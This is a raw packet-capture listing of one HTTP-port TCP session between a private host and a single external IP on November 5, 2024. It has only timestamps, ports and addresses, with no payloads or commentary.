Nov 5, 2024 12:43:36.643066883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.643083096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.643083096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.643117905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.669176102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.669213057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.669224977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.669229031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.669254065 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.669265985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.669270992 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.669279099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.669291019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.669295073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.669305086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.669308901 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.669326067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.669347048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.669385910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.669403076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.669419050 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.669442892 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673130035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673151970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673163891 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673177958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673213005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673214912 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673226118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673238039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673250914 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673275948 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673321009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673331022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673340082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673352003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673363924 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673388958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673435926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673455954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673466921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673475027 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673479080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673496962 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673506021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673521996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673546076 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673646927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673659086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673670053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673680067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673687935 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673691988 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673703909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673707008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673717022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673731089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673736095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673755884 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673775911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673788071 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673801899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673814058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.673829079 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.673844099 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674057007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674068928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674079895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674091101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674091101 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674104929 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674120903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674123049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674146891 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674161911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674195051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674209118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674226999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674232006 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674232960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674243927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674257994 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674287081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674313068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674325943 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674331903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674359083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674376965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674416065 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674427032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674451113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674453020 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674463034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.674467087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674505949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.674506903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.718962908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.718976021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.719022036 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.719028950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.719052076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.719065905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.719094038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755130053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755170107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755182981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755196095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755207062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755218983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755253077 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755258083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755270958 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755276918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755285025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755292892 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755300999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755317926 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755343914 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755352974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755364895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755393028 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755422115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755485058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755496025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755507946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755521059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755537033 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755558968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755573034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755578995 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755585909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755598068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755609989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755613089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755630016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755655050 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755671024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755683899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755695105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755711079 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755728006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755733967 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755742073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755764961 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755789995 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755801916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755815029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755846024 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755856037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755933046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755944014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755955935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755966902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755976915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755979061 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.755990028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.755990982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756020069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756035089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756086111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756113052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756124973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756134033 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756136894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756145954 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756153107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756161928 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756165028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756175995 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756202936 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756302118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756311893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756323099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756335974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756339073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756349087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756362915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756367922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756381035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756412983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756443977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756455898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756468058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756479979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756486893 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756494999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756506920 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756539106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756603956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756616116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756628036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756639004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756648064 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756653070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756664991 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756665945 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756700039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756716967 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756756067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756768942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756793976 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756808043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756906986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756917953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756930113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756941080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756951094 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756953955 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756964922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.756967068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756980896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756994009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.756994963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757009029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757009029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757030964 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757055044 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757100105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757110119 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757121086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757142067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757152081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757215023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757226944 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757240057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757251978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757256031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757316113 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757348061 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757352114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757371902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757384062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757396936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757396936 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757409096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757419109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757421017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757435083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757441998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757447958 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757486105 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757545948 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757587910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757600069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757631063 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757652998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757664919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757677078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757689953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757695913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757697105 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757724047 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757741928 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757853985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757868052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757879019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757891893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757894039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757903099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757904053 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757915974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757925987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.757929087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757941961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.757950068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.758054972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.758065939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.758076906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.758088112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.758097887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.758099079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.758112907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.758126020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.758127928 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.758143902 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.758176088 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.758214951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.758229017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.758240938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.758250952 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.758263111 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.758291006 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.784497976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.784533978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.784554005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.784562111 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.784564018 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.784575939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.784588099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.784590006 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.784607887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.784625053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.784634113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.784641981 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.784661055 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788290977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788316011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788326025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788336992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788336039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788351059 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788378954 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788404942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788417101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788441896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788445950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788460016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788463116 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788482904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788495064 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788533926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788543940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788552999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788575888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788577080 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788585901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788587093 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788608074 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788633108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788652897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788665056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788691044 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788741112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788752079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788778067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788794994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788798094 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788808107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788844109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788889885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788899899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788911104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788929939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788940907 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.788948059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.788985968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.789009094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789019108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789028883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.789042950 CET	49711	80	192.168.2.8	188.114.96.3
